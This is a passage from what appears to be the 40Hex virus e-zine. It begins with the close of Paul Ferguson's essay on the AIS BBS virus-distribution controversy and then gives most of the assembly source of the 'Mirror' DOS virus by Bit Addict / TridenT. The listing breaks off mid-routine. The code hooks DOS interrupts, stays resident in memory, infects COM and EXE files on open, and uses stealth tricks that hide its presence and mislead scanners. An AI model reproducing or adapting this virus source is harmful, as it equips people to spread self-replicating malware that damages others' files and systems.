> you from viruses.  There is however a way you can protect yourselves.
> It is through awareness that you can protect your data from the damages
> incurred by malicious intent.  The same awareness that the Bureau of
> Public Debt was trying to make publicly available on AIS BBS.  Before
> the government did it, everyone else had already done it.  This fact may
> alarm some people, but I would estimate that there are well over 200
> other systems in the United States alone that currently distribute virus
> code to people who very well could end up distributing it to other
> people without their consent.  I am a tax paying citizen of the USA, and
> I know I would rather hear that we spend a couple hundred dollars
> educating the public on computer viruses then hear about the thousands
> of dollars in damage done by miscellaneous computer viruses that hit
> companies and wipe out all their data.  By closing down AIS BBS, the
> door for virus writers to obtain virus source remains wide open, while
> the people who could find the information valuable, if not necessary for
> their jobs, just had the only door open to them slammed shut and locked,
> maybe forever.  It is hard to tell who hurts us more - Those who make it
> harder for computer users to protect themselves, or those who sit in
> blind ignorance.
 
 
Heap expresses some valid points in the above paragraph, however, much
of his sentiment is subjective opinion. While there are many private
systems scattered throughout the digital landscape that do make
malicious programs, viruses, stolen credit card information and other
controversial or illegal data available on-line, the AIS system
represented the first system established and apparently advocated by
the United States government. (Although stolen credit card numbers are
among the wares of many underground bulletin board systems, this was
never one of the issues surrounding the AIS system.) 
 
The controversy surrounding the ethical issues of the AIS system are
equally subjective, in fact, academic. The core issue, in my own
subjective opinion, is whether the United States government has any
business dabbling in that area to begin with.
 
We, as a digital society, are standing on the threshold of a brave new
world in telecommunications. Within our generation, we will witness
the doors of the digital highways of the world opening to more and
more people every day, from school children to genetic scientists to
commercial and corporate conglomerates. It will touch all of our lives
and make the world a much smaller place.
 
The current political administration in the United States has
recognized this, and has established their own policy on the "National
Information Infrastructure," more commonly recognized by the acronym
NII. While the impact and effects of the United States government's
policies concerning the NII are yet to be determined, many still
believe that participation of government in any capacity within the
digital frontier can only lead to mismanagement, bureaucracy and
abuses witnessed in other governmental agencies. Also, there are
darker issues to consider, such as government-sponsored intelligentsia
and encryption and privacy issues. All in all, many believe that the
NII will lead to a new era in Big Brother for the 21st century.
 
The intents and conceptions of the AIS may have been noble and
genuine; I believe this to be the case. In fact, I commend Kim Clancy
(who was the administrator of the AIS system) on her efforts in the
computer and telecommunications security arena. To understand,
research and educate on the topic alone merits commendation. There
are, however, digital boundaries between "a good thing" and
government sponsorship. Government influence or sponsorship always
raises red flags in cyberspace. That's just the nature of the beast.
Combine this with the fact that malicious software was possibly being
provided by the AIS system, and you've got a political hot potato.
 
The bottom line remains in question. No one argues the need for the
ability to understand the nature of malicious software, nor the need
for computer users to protect themselves. This argument is ludicrous.
The argument remains, however, on the need or validity for the United
States government to operate a system which may contribute to the
existing problem.
 
 
 
Disclaimer: Opinions expressed above are my individual views and do not
            reflect the opinions of US Sprint, nor are they intended to
            be construed as such.
________________________________________________________________________
Paul Ferguson
Internet Engineer
US Sprint
Herndon, Virginia  USA                         internet: ferguson@icp.net
 
8<-------------------- cut here -----------------------------------------
 
 Paul Ferguson is currently an Internet Engineer for US Sprint in
 Herndon, Virginia. He has consulted in computer network and
 telecommunications technologies for numerous government agencies and
 corporations including NASA and Computer Sciences Corporation. Ferguson
 also previously indicated that he was the person who anonymously posted
 a message to the Usenet Newsgroup RISKS, which triggered the AIS Bulletin
 Board controversy. He can be reached on the Internet at ferguson@icp.net.


40Hex Number 13 Volume 4 Issue 1                                      File 005

8<------------<mirror.asm>--------------------------------------------------->8
;*****************************************************************************;
;                                                                             ;
; Mirror:                                                                     ;
;                                                                             ;
; Mirror is the reverse of Stealth techniques. This virus doesn't hide the    ;
; virus, but but let the scanner think every program is infected by the       ;
; virus. The virus is also made to work with every exe file that uses         ;
; internal overlays, by making all running programs stealth.                  ;
;                                                                             ;
;*****************************************************************************;

code segment public 'code'
                assume  cs:code, ds:code, es:code
                org     100h

VirusTop        equ     $
VirusSize       equ     (VirusEnd - $)
MemorySize      equ     (MemoryEnd - $ + VirusSize)

EntryPoint:     mov     dx,ds
                call    ExeMain

Relocate        equ     ($ - VirusTop)
ComExe          equ     byte ptr [$ - VirusTop - 2]
ExeID           equ     (ExeMain - $)
ComID           equ     (ComMain - $)

HeaderLength    equ     1ah
TheHeader       equ     $
Header          equ     word  ptr [$ - VirusTop]
JumpOpcode      equ     byte  ptr [$ - VirusTop]
JumpDisp        equ     word  ptr [$ - VirusTop + 01h]
PartPage        equ     word  ptr [$ - VirusTop + 02h]
PageCount       equ     word  ptr [$ - VirusTop + 04h]
ReloCount       equ     word  ptr [$ - VirusTop + 06h]
HeaderSize      equ     word  ptr [$ - VirusTop + 08h]
MinMem          equ     word  ptr [$ - VirusTop + 0ah]
MaxMem          equ     word  ptr [$ - VirusTop + 0ch]
ExeSS           equ     word  ptr [$ - VirusTop + 0eh]
ExeSP           equ     word  ptr [$ - VirusTop + 10h]
Signature       equ     word  ptr [$ - VirusTop + 12h]
ExeEntry        equ     dword ptr [$ - VirusTop + 14h]
ExeIP           equ     word  ptr [$ - VirusTop + 14h]
ExeCS           equ     word  ptr [$ - VirusTop + 16h]
RelocationOfs   equ     word  ptr [$ - VirusTop + 18h]

                dw      "ZM",6 dup(0),0,0ffeh,?,0,-10h,0

VirusID         equ     byte ptr [$ - VirusTop]
                db      '[ Mirror: Bit Addict / TridenT ]'

GotoNewCS:      db      0eah
                dw      Continue - VirusTop,?
NewCodeSegment  equ     word ptr [$ - VirusTop - 2]

ExecuteProg:    mov     ax,1234h
SavedPSP        equ     word ptr [$ - VirusTop - 2]
                mov     ds,ax
                mov     es,ax
                mov     ax,1234h
SavedRegAX      equ     word ptr [$ - VirusTop - 2]
                mov     dx,1234h
InitExeSS       equ     word ptr [$ - VirusTop - 2]
                mov     ss,dx
                mov     sp,1234h
InitExeSP       equ     word ptr [$ - VirusTop - 2]
                db      0eah,?,?,?,?
InitExeIP       equ     word ptr [$ - VirusTop - 4]
InitExeCS       equ     word ptr [$ - VirusTop - 2]

Continue:       mov     ss,cs:InitExeSS
                mov     sp,cs:InitExeSP
                sti
                mov     ax,1234h
PatchSegment    equ     word ptr [$ - VirusTop - 2]
                mov     bx,1234h
PatchOffset     equ     word ptr [$ - VirusTop - 2]
                mov     ds,ax
                mov     byte ptr ds:[bx-1],9ah
                mov     word ptr ds:[bx],(Dos - VirusTop)
                mov     word ptr ds:[bx+2],cs
                mov     ah,3fh
                xor     bx,bx
                mov     cx,1
                mov     dx,-1
                int     21h
                mov     ah,40h
                inc     bx
                int     21h
                mov     ds,cs:SavedPSP
                mov     ax,ds:[2ch]
                mov     ch,-1
                xor     di,di
                mov     es,ax
                push    cs
                pop     ds
SearchComspec:  or      ax,ax
                je      ExecuteProg
                mov     cx,8
                mov     dx,di
                mov     si,offset Comspec
                cld
                repe    cmpsb
                xchg    dx,di
                je      ComspecFound
                xor     ax,ax
                mov     ch,0ffh
                repne   scasb
                mov     al,es:[di]
                jmp     SearchComspec
ComspecFound:   push    es
                pop     ds
                mov     ax,3d00h
                int     21h
                jc      ExecuteProg
                xchg    ax,bx
                mov     ah,3fh
                xor     cx,cx
                mov     dx,-1
                int     21h
                mov     ah,3eh
                int     21h
                jmp     ExecuteProg

Comspec         equ     byte ptr [$ - VirusTop]
                db      'COMSPEC='

ComMain:        pop     si
                mov     cx,HeaderLength
                mov     di,100h
                mov     ds:InitExeSS[si - Relocate],ss
                mov     ds:InitExeSP[si - Relocate],sp
                mov     ds:InitExeCS[si - Relocate],cs
                mov     ds:InitExeIP[si - Relocate],di
                cld
                rep     movsb
                sub     si,Relocate + HeaderLength
                jmp     short Main

ExeMain:        pop     si
                sub     si,Relocate
                mov     bx,ds
                add     bx,10h
                mov     cx,bx
                push    cs
                pop     ds
                add     bx,ds:ExeSS[si]
                mov     ds:InitExeSS[si],bx
                mov     bx,ds:ExeSP[si]
                mov     ds:InitExeSP[si],bx
                add     cx,ds:ExeCS[si]
                mov     ds:InitExeCS[si],cx
                mov     cx,ds:ExeIP[si]
                mov     ds:InitExeIP[si],cx
Main:           mov     ds:SavedPSP[si],dx
                mov     ds:SavedRegAX[si],ax
                mov     ah,34h
                int     21h
                dec     bx
                mov     ds:DosSDAofs[si],bx
                mov     ds:DosSDAseg[si],es
                mov     ah,52h
                int     21h
                mov     ax,es
                cmp     ax,ds:DosSDAseg[si]
                jne     CannotInstall
                mov     ax,es:[bx+4]
                mov     ds:DosSFTofs[si],ax
                mov     ax,es:[bx+6]
                mov     ds:DosSFTseg[si],ax
                mov     ax,es:[bx-2]
                mov     ds:FirstMCB[si],ax
                sub     ax,ds:DosSDAseg[si]
                mov     cl,4
                shl     ax,cl
                xchg    ax,cx
                xor     di,di
                jmp     short SearchOpcode
CannotInstall:  jmp     ExecuteProg
SearchHMA:      or      di,di
                je      CannotInstall
                mov     ax,-1
                mov     es,ax
                mov     cx,-10h
                mov     di,10h
SearchOpcode:   mov     al,36h
                repne   scasb
                jne     SearchHMA
                cmp     word ptr es:[di],16ffh
                jne     SearchOpcode
                mov     ax,es:[di+2]
                mov     bx,351eh
                cmp     ax,57ch
                je      OpcodeFound
                mov     bx,3b84h
                cmp     ax,5eah
                jne     SearchOpcode
OpcodeFound:    mov     ds:JumpVar[si],ax
                mov     ds:DosSFTsize[si],bh
                mov     ds:StackPtr[si],bl
                mov     ds:PatchOffset[si],di
                mov     ds:PatchSegment[si],es
                mov     al,0cbh
                repne   scasb
                jne     CannotInstall
                dec     di
                mov     ds:ReturnOpcodeOfs[si],di
                mov     ds:ReturnOpcodeSeg[si],es
                mov     ax,ds:FirstMCB[si]
                xor     bx,bx
                dec     dx
SearchBlock:    mov     ds,ax
                cmp     word ptr ds:[bx+1],bx
                jne     NotFree
                cmp     word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
                jb      NotFree
                mov     dx,ax
NotFree:        inc     ax
                add     ax,ds:[bx+3]
                cmp     byte ptr ds:[bx],"M"
                je      SearchBlock
                mov     ds,dx
                mov     cx,(MemorySize + 0fh) / 10h
                add     dx,ds:[bx+3]
                sub     dx,cx
                cmp     bx,ds:[bx+1]
                je      FreeBlock
                sbb     ds:[bx+3],cx
                mov     al,"M"
                xchg    al,ds:[bx]
                mov     ds,dx
                mov     ds:[bx],al
                mov     ds:[bx+1],bx
                mov     ds:[bx+3],cx
FreeBlock:      inc     dx
                mov     es,dx
                push    cs
                pop     ds
                std
                mov     ax,-1
                mov     ds:LastPSP[si],ax
                mov     ds:NewCodeSegment[si],dx
                cli
                mov     cx,(MemoryEnd - VirusEnd)
                mov     di,offset MemoryEnd - VirusTop - 1
                rep     stosb
                mov     cx,(VirusEnd - VirusTop)
                add     si,offset VirusEnd - VirusTop - 1
                rep     movsb
                jmp     GotoNewCS

;*****************************************************************************;
;                                                                             ;
; New dos entry point                                                         ;
;                                                                             ;
;*****************************************************************************;

dbw             macro   bval, wval
                db      bval
                dw      wval - VirusTop
                endm

Functions       equ     byte ptr [$ - VirusTop]
                dbw     11h, FindFCB
                dbw     12h, FindFCB
                dbw     3ch, CheckFileTable
                dbw     3dh, Open
                dbw     3fh, Read
                dbw     40h, Write
                dbw     42h, Seek
                dbw     45h, CheckFileTable
                dbw     48h, ShowBlock
                dbw     4ah, ShowBlock
                dbw     4bh, ShowBlock
                dbw     4eh, FindFile
                dbw     4fh, FindFile
                dbw     5ah, CheckFileTable
                dbw     5bh, CheckFileTable
                dbw     6ch, ExtOpen
LastFunction    equ     byte ptr [$ - VirusTop]
                dbw     -1h, DoNothing

Dos:            pop     cs:DosMainOfs
                pop     cs:DosMainSeg
                push    bx
                push    ds
                push    cs
                pop     ds
                mov     bx,offset Functions - 3
NextFunction:   add     bx,3
                cmp     ah,[bx]
                je      RightFunction
                ja      NextFunction
                mov     bx,offset LastFunction
RightFunction:  push    bp
                mov     bp,sp
                mov     bx,[bx+1]
                xchg    bx,[bp+4]
                pop     bp
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                mov     ax,ss:[1234h]
JumpVar         equ     word ptr [$ - VirusTop - 2]
                mov     cs:DosFunctionOfs,ax
                mov     ax,cs:DosMainSeg
                mov     cs:DosFunctionSeg,ax
                call    GetPSP
                cmp     word ptr ds:[0],20cdh
                jne     IllegalPSP
                mov     ax,ds
                cmp     ax,0c000h
                jae     IllegalPSP
                cmp     ax,1234h
LastPSP         equ     word ptr [$ - VirusTop - 2]
                jne     OtherPSP
IllegalPSP:     jmp     SamePSP
OtherPSP:       push    cs
                pop     ds
                push    cs
                pop     es
                mov     ds:LastPSP,ax
                cld
                mov     bx,-1
                mov     cx,8
                mov     di,offset StealthNames - 8
NextPSP:        add     di,8
                scasw
                ja      DoNotClear
                mov     ds:[di-2],bx
DoNotClear:     loop    NextPSP
                mov     cl,7
                mov     di,offset StealthNames - 10
FindEmptyName:  add     di,10
                cmp     ds:[di],bx
                je      EmptyName
                cmp     ds:[di],ax
                loopne  FindEmptyName
EmptyName:      stosw
                mov     si,di
                dec     ax
                cmp     ds:DosSFTsize,35h
                mov     ds,ax
                je      DosVersion3
                mov     di,8
                jmp     BeginOfName
DosVersion3:    mov     es,ds:[3ch]
                push    es
                pop     ds
                xor     ax,ax
                mov     ch,-1
                xor     di,di
NotEnd:         repne   scasb
                scasb
                jne     NotEnd
                inc     di
                inc     di
                mov     bx,di
                repne   scasb
NextPathChar:   mov     al,ds:[di-2]
                dec     di
                cmp     al,"\"
                je      BeginOfName
                cmp     al,":"
                je      BeginOfName
                cmp     di,bx
                ja      NextPathChar
BeginOfName:    push    cs
                pop     es
                mov     cx,8
                xchg    si,di
NextNameChar:   lodsb
                cmp     al,"."
                je      BlankIt
                cmp     al," "
                jbe     BlankIt
                stosb
                loop    NextNameChar
BlankIt:        mov     al," "
                rep     stosb
SamePSP:        call    FindMCB
                jne     Hide_4
                cmp     ds:[bx+1],bx
                je      Hide_1
                mov     dx,ax
Hide_1:         push    dx
                mov     ds,ax
                mov     ds:[bx+1],bx
                mov     cx,-1
                mov     ds,dx
Hide_2:         mov     ax,ds:[bx+3]
                inc     ax
                add     cx,ax
                add     dx,ax
                mov     al,ds:[bx]
                cmp     al,"M"
                jne     Hide_3
                mov     ds,dx
                cmp     ds:[bx+1],bx
                je      Hide_2
Hide_3:         pop     ds
                mov     ds:[bx],al
                mov     ds:[bx+3],cx
Hide_4:         pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                ret

;*****************************************************************************;
;                                                                             ;
; Show memory block to prevent overwriting by another program                 ;
;                                                                             ;
;*****************************************************************************;

ShowBlock:      push    ax
                push    bx
                push    cx
                push    dx
                push    ds
Show_1:         call    FindMCB
                je      Show_2
                mov     ax,cx
                sub     cx,dx
                mov     dx,ds:[bx+3]
                sub     dx,cx
                dec     cx
                call    SetMCB
Show_2:         mov     ds,ax
                mov     ds:[bx+1],cs
                mov     cx,(MemorySize + 0fh) / 10h
                mov     dx,ds:[bx+3]
                sub     dx,cx
                jbe     Show_3
                call    SetMCB
Show_3:         pop     ds
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                jmp     DoNothing

;*****************************************************************************;
;                                                                             ;
; Directory search                                                            ;
;                                                                             ;
;*****************************************************************************;

CheckExtension: xor     ax,ax
                mov     ch,-1
                cld
                repne   scasb
CheckExt:       mov     ax,es:[di-4]
                or      ax,2020h
                cmp     ax,"xe"
                je      CheckLastChar
                cmp     ax,"oc"
                jne     NotExecFile
                mov     al,"m"
CheckLastChar:  mov     ah,es:[di-2]
                or      ah,20h
                cmp     ah,al
NotExecFile:    ret

FindFile:       call    DosCall
                jc      FindFailed
                push    ax
                call    GetDTA
                push    di
                add     di,1eh
                call    CheckExtension
                pop     di
                jne     WrongFile
RightFile:      mov     ax,0ddh
                sub     al,es:[di+1ah]
                jz      WrongFile
                sub     al,(VirusSize + 20h) and 0ffh
                add     ax,(VirusSize + 20h)
                add     word ptr es:[di+1ah],ax
                adc     word ptr es:[di+1ch],0
WrongFile:      pop     ax
FindFailed:     jmp     DosMain

FindFCB:        call    DosCall
                cmp     al,0
                jne     FindFailed
                push    ax
                call    GetDTA
                cmp     byte ptr es:[di],-1
                jne     NotExtendedFCB
                add     di,7
NotExtendedFCB: add     di,0dh
                call    CheckExt
                jne     WrongFile
                sub     di,0ah
                jmp     RightFile

;*****************************************************************************;
;                                                                             ;
; Seeking to the end of a mirrored file                                       ;
;                                                                             ;
;*****************************************************************************;

Seek:           cmp     al,2
                jne     DoSeek
                call    FindHandle
                jnz     DoSeek
                test    byte ptr cs:[si+6],80h
                mov     si,cs:TotalSize
                jnz     SeekStealth
SeekMirror:     add     dx,si
                adc     cx,0
                jmp     short DoSeek
SeekStealth:    sub     dx,si
                sbb     cx,0
DoSeek:         jmp     DoNothing

;*****************************************************************************;
;                                                                             ;
; Routines to call the orginal dos code                                       ;
;                                                                             ;
;*****************************************************************************;

StackFrame:     db      36h,0c5h,36h,?,5
StackPtr        equ     byte ptr [$ - VirusTop - 2]
                ret

WriteCall:      push    ax
                mov     ax,cs:WriteFunction
                jmp     short ReadWriteCall
ReadCall:       push    ax
                mov     ax,cs:ReadFunction
ReadWriteCall:  mov     cs:DosFunctionOfs,ax
                pop     ax
DosCall:        push    cs
                call    JumpToFunction
                mov     ah,ds:[si+22]
                sahf
                mov     ah,ds:[si+1]
                mov     bx,ds:[si+2]
                mov     cx,ds:[si+4]
                mov     dx,ds:[si+6]
                ret

DosMain:        db      0eah
                dd      ?
DosMainOfs      equ     word ptr [$ - VirusTop - 4]
DosMainSeg      equ     word ptr [$ - VirusTop - 2]

JumpToFunction: push    ax
                push    cx
                push    bp
                mov     bp,sp
                mov     ax,1234h
ReturnOpcodeSeg equ     word ptr [$ - VirusTop - 2]
                sub     ax,cs:DosFunctionSeg
                mov     cl,4
                shl     ax,cl
                add     ax,1234h
ReturnOpcodeOfs equ     word ptr [$ - VirusTop - 2]
                xchg    ax,ss:[bp+4]
                pop     bp
                pop     cx
                jmp     short DosFunction

DoNothing:      push    cs:DosMainOfs
DosFunction:    db      0eah
                dw      ?,?,0a839h,0a89fh
DosFunctionOfs  equ     word ptr [$ - VirusTop - 8]
DosFunctionSeg  equ     word ptr [$ - VirusTop - 6]
ReadFunction    equ     word ptr [$ - VirusTop - 4]
WriteFunction   equ     word ptr [$ - VirusTop - 2]

;*****************************************************************************;
;                                                                             ;
; Opening a mirrored file                                                     ;
;                                                                             ;
;*****************************************************************************;

ChkHandles:     push    ax
                push    bx
                push    cx
                push    si
                push    ds
                mov     bx,offset FileTable
                mov     cx,MaxFiles
ChkNextHandle:  cmp     word ptr cs:[bx],-1
                je      ChkHandleOk
                mov     ax,cs:[bx]
                call    FindSFT
                cmp     word ptr ds:[si],0
                jne     ChkHandleOk
                mov     word ptr cs:[bx],-1
ChkHandleOk:    add     bx,FileTableEntry
                loop    ChkNextHandle
                pop     ds
                pop     si
                pop     cx
                pop     bx
                pop     ax
                ret

CheckFileTable: call    ChkHandles
                jmp     DoNothing

ExtOpen:        call    ChkHandles
                or      al,al
                jnz     DoNothing
                call    DosCall
                jc      DosMain
                cmp     cl,1
                jne     DosMain
                jmp     OpenOk
Open:           call    ChkHandles
                call    DosCall
                jc      DosMain
OpenOk:         push    ds:[si+22]
                push    ax
                xchg    ax,bx
                call    GetSFTindex
                call    FindSFT
                test    byte ptr ds:[si+5],80h
                jnz     NotExecutable
                push    ds
                pop     es
                lea     di,[si+2ch]
                call    CheckExt
NotExecutable:  jz      Executable
                jmp     DoNotInfect
Executable:     pop     bx
                mov     cx,HeaderLength
                mov     dx,offset Header
                push    cs
                pop     ds
                push    bx
                call    ReadCall
                call    LastSFT
                mov     byte ptr ds:[si+15h],3ch
                pop     bx
                mov     cx,4
                mov     dx,offset NewExeOfs
                push    cs
                pop     ds
                push    bx
                call    ReadCall
                call    LastSFT
                mov     ax,ds:[si+11h]
                mov     cs:FileSizeL,ax
                mov     ax,ds:[si+13h]
                mov     cs:FileSizeH,ax
                push    cs
                pop     es
                mov     cx,8
                mov     di,offset StealthNames - 8
                cld
NextName:       jcxz    NotStealth
                mov     ax,-1
                dec     cx
                add     di,8
                scasw
                je      NextName
                push    cx
                push    si
                push    di
                mov     cx,8
                add     si,20h
                repe    cmpsb
                pop     di
                pop     si
                pop     cx
                jne     NextName
                jmp     short StealthMode
NotStealth:     cmp     byte ptr ds:[si+11h],0ddh
                je      DoNotInfect
                call    CalcImageSize
                cmp     ds:[si+13h],dx
                jb      DoNotInfect
                ja      FileSizeOk
                cmp     ds:[si+11h],ax
                jb      DoNotInfect
FileSizeOk:     call    CalcImageSize
                mov     dx,0
                mov     si,offset Header
                jc      StoreFileInfo
                push    cs
                pop     ds
                cmp     ds:RelocationOfs,40h
                jb      StoreFileInfo
                cmp     ds:NewExeOfsL,dx
                jne     DoNotInfect
                cmp     ds:NewExeOfsH,dx
                jne     DoNotInfect
StoreFileInfo:  push    si
                mov     bx,-1
                call    FindHandle
                mov     bx,si
                pop     si
                jne     DoNotInfect
                push    cs
                pop     ds
                mov     ds:[bx],1234h
LastSFTindex    equ     word ptr [$ - VirusTop - 2]
                mov     ax,ds:FileSizeL
                mov     ds:[bx+2],ax
                mov     ax,ds:FileSizeH
                mov     ds:[bx+4],ax
                mov     ds:[bx+6],dl
                mov     cx,HeaderLength
                lea     di,[bx+7]
                cld
                rep     movsb
DoNotInfect:    xor     ax,ax
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],ax
                call    StackFrame
                pop     ax
                mov     ds:[si],ax
                pop     ds:[si+22]
                jmp     DosMain

StealthMode:    cmp     byte ptr ds:[si+11h],0ddh
                jne     DoNotInfect
                call    CalcImageSize
                mov     cx,cs:Signature
                sub     ax,cx
                sbb     dx,0
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                push    cs
                pop     ds
                sub     ds:FileSizeL,cx
                sbb     ds:FileSizeH,0
                cmp     dx,10h
                jae     DoNotInfect
                call    SplitImageSize
                call    CalcImageSize
                mov     cx,10h
                div     cx
                sub     dx,ds:ExeIP
                jne     DoNotInfect
                sub     ax,ds:HeaderSize
                sub     ax,ds:ExeCS
                jne     DoNotInfect
                pop     bx
                push    bx
                call    ReadVirus
                jne     DoNotInfect
                mov     dl,85h
                lea     si,ds:[di+Header-VirusID-20h]
                jmp     StoreFileInfo

GetSFTindex:    push    si
                push    ds
                call    GetPSP
                lea     ax,[bx+1]
                cmp     ds:[32h],ax
                jb      InvalidHandle
                lds     si,ds:[34h]
                mov     al,ds:[bx+si]
                sub     ah,ah
                mov     cs:LastSFTindex,ax
InvalidHandle:  pop     ds
                pop     si
                ret

FindSFT:        mov     si,1234h
DosSFTseg       equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
DosSFTofs       equ     word ptr [$ - VirusTop - 2]
NextSFT:        cmp     ax,ds:[si+4]
                jb      RightSFT
                sub     ax,ds:[si+4]
                lds     si,ds:[si]
                jmp     short NextSFT
RightSFT:       mov     ah,12h
DosSFTsize      equ     byte ptr [$ - VirusTop - 1]
                mul     ah
                add     si,ax
                add     si,6
                mov     cs:LastSFTofs,si
                mov     cs:LastSFTseg,ds
LastSFT:        mov     si,1234h
LastSFTseg      equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
LastSFTofs      equ     word ptr [$ - VirusTop - 2]
                ret

GetDTA:         call    DosSDA
                les     di,ds:[si+0ch]
DosSDA:         mov     si,1234h
DosSDAseg       equ     word ptr [$ - VirusTop - 2]
                mov     ds,si
                mov     si,1234h
DosSDAofs       equ     word ptr [$ - VirusTop - 2]
                ret

GetPSP:         call    DosSDA
                mov     ds,ds:[si+10h]
                ret

;*****************************************************************************;
;                                                                             ;
; Reading from and writing to a mirrored file                                 ;
;                                                                             ;
;*****************************************************************************;

Read:           cmp     dx,-1
                jne     NotInfectCmd
                or      cx,cx
                jne     NotInfectCmd
                call    FindHandle
                jnz     AbortAction
                call    InfectFile
                jmp     short AbortAction
NotInfectCmd:   push    ax
                mov     ax,cs:DosFunctionOfs
                mov     cs:ReadFunction,ax
                call    FindHandle
                jnz     RdOtherHandle
                mov     ah,40h
                or      ah,cs:[si+6]
                or      byte ptr cs:[si+6],1
                sahf
RdOtherHandle:  pop     ax
                jnz     OtherHandle
                jns     _ReadMirror
                jmp     ReadStealth

Write:          push    ax
                mov     ax,cs:DosFunctionOfs
                mov     cs:WriteFunction,ax
                call    FindHandle
                jnz     WrOtherHandle
                mov     ah,40h
                or      ah,cs:[si+6]
                or      byte ptr cs:[si+6],4
                sahf
WrOtherHandle:  pop     ax
                jnz     OtherHandle
                js      _WriteStealth
                jp      RemoveHandle
                jc      WriteMirror
                call    InfectFile
                jc      WriteMirror
RemoveHandle:   call    FindHandle
                mov     word ptr cs:[si],-1
ActionOk:       jmp     DoNothing
OtherHandle:    cmp     bx,2
                jae     ActionOk
                cmp     dx,-1
                jne     ActionOk
AbortAction:    jmp     DosMain

_WriteStealth:  jmp     WriteStealth
_ReadMirror:    jmp     ReadMirror
_Truncate:      jmp     Truncate

IllegalWrite:   mov     ax,5
                call    DosSDA
                mov     word ptr ds:[si+2],1ffh
                mov     word ptr ds:[si+4],ax
                mov     word ptr ds:[si+6],307h
                call    StackFrame
                mov     ds:[si],ax
                or      ds:[si+22],al
                jmp     DosMain

WriteMirror:    call    SplitCount
                jcxz    _Truncate
                call    CompareHeaders
                jne     IllegalWrite
                call    CompareViruses
                jne     IllegalWrite
                call    FindHandle
ReadMirror:     call    SplitCount
                push    ds
                mov     ax,1234h
VirusOffset     equ     word ptr [$ - VirusTop - 2]
                call    LastSFT
                sub     word ptr ds:[si+15h],ax
                sbb     word ptr ds:[si+17h],0
                pop     ds
                xor     ax,ax
                sub     cx,cs:VirusCount
                jcxz    ReadZero
                call    DosCall
ReadZero:       pushf
                push    ax
                push    cs
                pop     ds
                mov     ax,ds:VirusCount
                add     ax,ds:VirusOffset
                call    LastSFT
                add     word ptr ds:[si+15h],ax
                adc     word ptr ds:[si+17h],0
                pop     ax
                popf
                jc      ReadError
                add     ax,cs:VirusCount
                push    ax
                call    StackFrame
                xchg    ax,cx
                mov     ds:[si],cx
                mov     bx,ds:[si+6]
                mov     es,ds:[si+14]
                mov     ds,ds:[si+14]
                call    SplitCount
                mov     di,1234h
VirusCount      equ     word ptr [$ - VirusTop - 2]
                or      di,di
                jz      NewHeader
                call    Mutate
                mov     cx,1234h
OverlayCount    equ     word ptr [$ - VirusTop - 2]
                mov     si,1234h
ImageCount      equ     word ptr [$ - VirusTop - 2]
                add     si,bx
                push    si
                push    di
                jcxz    DoNotMove
                dec     si
                add     si,cx
                add     di,si
                std
                rep     movsb
DoNotMove:      push    cs
                pop     ds
                pop     cx
                pop     di
                mov     si,offset Buffer
                add     si,ds:VirusOffset
                cld
                rep     movsb
NewHeader:      mov     cx,ds:HeaderCount
                jcxz    ReadError
                call    UpdateHeader
                mov     cx,ds:HeaderCount
                mov     si,ds:SFT_FilePosL
                lea     di,[bx+si]
                add     si,offset Header
                cld
                rep     movsb
ReadError:      pop     ax
                jmp     DosMain

Truncate:       push    ds
                call    LastSFT
                mov     ax,cs:VirusOffset
                sub     ds:[si+15h],ax
                sbb     word ptr ds:[si+17h],0
                pop     ds
                call    DosCall
                pushf
                push    ax
                push    ds:[si+2]
                call    LastSFT
                mov     ax,cs:VirusOffset
                add     word ptr ds:[si+15h],ax
                adc     word ptr ds:[si+17h],0
                pop     bx
                pop     ax
                popf
                jc      TruncateEnd
                call    FindHandle
                mov     word ptr cs:[si],-1
TruncateEnd:    jmp     DosMain

WriteStealth:   call    SplitCount
                neg     cs:VirusOffset
                jcxz    Truncate
                call    ChangeHeader
ReadStealth:    call    SplitCount
                push    ds
                mov     cx,cs:HeaderCount
                call    LastSFT
                add     word ptr ds:[si+15h],cx
                adc     word ptr ds:[si+17h],0
                pop     ds
                push    dx
                push    ds
                add     dx,cx
                neg     cx
                add     cx,cs:ImageCount
                jcxz    FirstCntZero
                call    DosCall
FirstCntZero:   call    LastSFT
                add     word ptr ds:[si+15h],1234
TotalSize       equ     word ptr [$ - VirusTop - 2]
                adc     word ptr ds:[si+17h],0
                pop     ds
                pop     dx
                push    dx
                push    ds
                xor     ax,ax
                mov     cx,1234h
StealthCount    equ     word ptr [$ - VirusTop - 2]
                add     dx,cs:ImageCount
                jcxz    SecondCntZero
                call    DosCall
SecondCntZero:  call    LastSFT
                mov     cx,cs:TotalSize
                sub     word ptr ds:[si+15h],cx
                sbb     word ptr ds:[si+17h],0
                push    cs
                pop     ds
                pop     es
                pop     di
                add     ax,ds:ImageCount
                mov     cx,ds:HeaderCount
                jcxz    EndOfRead
                mov     si,offset Header
                add     si,ds:SFT_FilePosL
                cld
                rep     movsb
EndOfRead:      call    StackFrame
                mov     ds:[si],ax
                jmp     DosMain

CompareHeaders: push    cx
                mov     cx,cs:HeaderCount
                jcxz    NoHeaderWrite
                push    si
                push    di
                push    es
                push    dx
                push    ds
                call    UpdateHeader
                pop     ds
                pop     dx
                push    cs
                pop     es
                mov     cx,1234h
HeaderCount     equ     word ptr [$ - VirusTop - 2]
                mov     si,dx
                mov     di,offset Header
                cld
                repe    cmpsb
                pop     es
                pop     di
                pop     si
NoHeaderWrite:  pop     cx
                ret

CompareViruses: push    cx
                mov     cx,cs:VirusCount
                jcxz    NoVirusWrite
                push    cx
                push    si
                push    dx
                call    Mutate
                pop     dx
                push    di
                push    es
                push    cs
                pop     es
                mov     cx,cs:VirusCount
                mov     si,dx
                add     si,cs:ImageCount
                mov     di,offset Buffer
                add     di,cs:VirusOffset
                push    si
                cld
                repe    cmpsb
                mov     si,di
                pop     di
                jne     DoNotRemove
                push    ds
                pop     es
                mov     cx,cs:OverlayCount
                rep     movsb
DoNotRemove:    pop     es
                pop     di
                pop     si
NoVirusWrite:   pop     cx
                ret

SplitCount:     push    ax
                push    bx
                push    cx
